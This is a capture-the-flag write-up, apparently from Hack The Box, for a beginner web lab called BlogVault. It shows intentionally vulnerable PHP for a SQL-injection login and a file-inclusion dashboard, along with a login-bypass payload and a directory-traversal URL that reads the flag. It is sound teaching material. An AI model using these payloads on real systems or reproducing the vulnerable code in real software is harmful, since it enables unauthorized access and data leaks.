Hack The Box
PEN-TESTING LABS

BlogVault – Challenge Writeup

Challenge Information

- **Name:** BlogVault
- **Category:** Web
- **Difficulty:** Easy
- **Author:** spyuser
- **Release Date:** 2025-05-20
- **Platform:** Dockerized Web Application

Overview

BlogVault is a vulnerable blogging platform designed for beginner penetration testers. It offers a basic blogging interface with underlying security flaws that allow attackers to exploit SQL Injection and Local File Inclusion vulnerabilities. This challenge emphasizes the importance of input validation and secure coding practices.

Participants must navigate both unauthenticated and authenticated parts of the application to fully exploit these vulnerabilities and retrieve the hidden flag.

Target Enumeration

When first accessing BlogVault, the user is presented with a simple homepage showcasing blog articles, and navigation links including:

- Home
- About
- Contact
- Login

There is no option for user registration, indicating that credentials must be discovered or bypassed.

Pages discovered:

Page	Description
/index.php	Displays public blog posts in multiple containers.
/login.php	User login page with SQL Injection vulnerability.
/dashboard.php	Admin panel showing blogs and user details.
/about.php	Static informational page.
/contact.php	Dummy contact form (non-functional).
/view.php	Displays full blog content with styling.

Vulnerabilities Identified

1. SQL Injection in Login

The login form embeds user input directly into an SQL query without sanitization. Here is the vulnerable PHP snippet from `login.php`:

```php
// Vulnerable code snippet
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

$result = mysqli_query($conn, $sql);
if(mysqli_num_rows($result) == 1) {
    // Login success
} else {
    // Login failed
}php
```

Why this is vulnerable:

Because the inputs $username and $password are inserted directly into the SQL string, an attacker can inject SQL syntax to manipulate the query logic.

Exploitation steps:

```
1. Go to /login.php page.

2. Input the following credentials:
    Username: admin
    Password: ' OR '1'='1

3. The constructed query becomes:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

4. Since '1'='1' is always true, the query returns the admin user row, bypassing
authentication.
```

2. Local File Inclusion (LFI) in Dashboard

Once logged in, the `dashboard.php` page shows blog entries and allows selecting one to view by using a URL parameter:

```
dashboard.php?blog=welcome.txt
```

Here is the vulnerable PHP snippet from `dashboard.php`:

```
$blog = $_GET['blog'];
$file_path = "blogs/" . $blog;

if(file_exists($file_path)) {
    include($file_path);
} else {
    echo "Blog not found.";
}php
```

Why this is vulnerable:

No sanitization or validation on $blog allows an attacker to traverse directories using ../ sequences and include arbitrary files.

Exploitation steps:

```
1. Access /dashboard.php?blog=../../../../home/blogvault/flag.txt

2. The $file_path resolves to:
    blogs/../../../../home/blogvault/flag.txt

   which normalizes to /home/blogvault/flag.txt.

3. The file is included and its content (the flag) is displayed.
```

Conclusion

BlogVault provides a practical environment to learn about common web vulnerabilities: SQL Injection and Local File Inclusion. This challenge highlights the importance of secure coding practices and input validation to protect web applications from unauthorized access and data leaks.